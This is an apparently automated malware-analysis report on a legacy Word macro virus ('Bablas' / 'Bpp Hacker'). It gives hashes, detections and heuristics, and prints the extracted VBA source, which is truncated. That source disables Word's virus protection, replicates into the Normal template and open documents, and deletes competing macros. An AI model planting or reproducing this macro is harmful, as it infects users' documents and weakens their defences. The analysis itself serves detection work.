Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ee3e315b4b2af8fd…

MALICIOUS

Office (OLE)

43.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: dcae0ef9b86ff47527edce53f2eeae44 SHA-1: 30f106b56bf066e3c4b0542c6f106dbf6f11545b SHA-256: ee3e315b4b2af8fd721ac19178c079c0efdcb79b678695865cfdfcbee03ef409
260 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close, indicating a malicious intent to execute code upon opening. ClamAV detections suggest it is a legacy trojan downloader. The VBA macro 'Bablas' appears to be designed to disable macro security features and potentially download further malicious content, though it is truncated.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5271 bytes
SHA-256: 8c69b47a6a500442873adf095078ae51cc0bee4fc109fe1fe4240e9351053244
Detection
ClamAV: Doc.Trojan.Bablas-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BPPHCK"
' ##### Innama a'malu binniyat #####
' Saya hanya berusaha melindungi komputerku, dan tentu juga komputer-
' teman-teman dari terinfeksinya virus macro yang merugikan.
' Semoga Allah melindungi kita semua
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("KURANG AJAR " & Chr(34) & _
    "(buat teman-teman, ma'af mengganggu.)", vbOKOnly + vbExclamation, "Ucapan Terimakasih")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("You can't create or modify macros.", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Qun katawon walataqun kalaler." & Chr(13) & Chr(13) & _
    "I LOVE SOMETHING ERROR !", vbOKOnly + vbExclamation, "Bpp Hacker")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Bpp Hacker is now activating "
    ActiveWindow.Caption = "(I Don't mean to disturb.)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "Bpp Hacker") = "azizoke" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "BPPHCK" Then DocOk = True
        If Obj.Name <> "BPPHCK" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Bpp Hacker From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="BPPHCK", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "BPPHCK" Then NorOk = True
        If Obj.Name <> "BPPHCK" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Bpp Hacker From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="BPPHCK", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.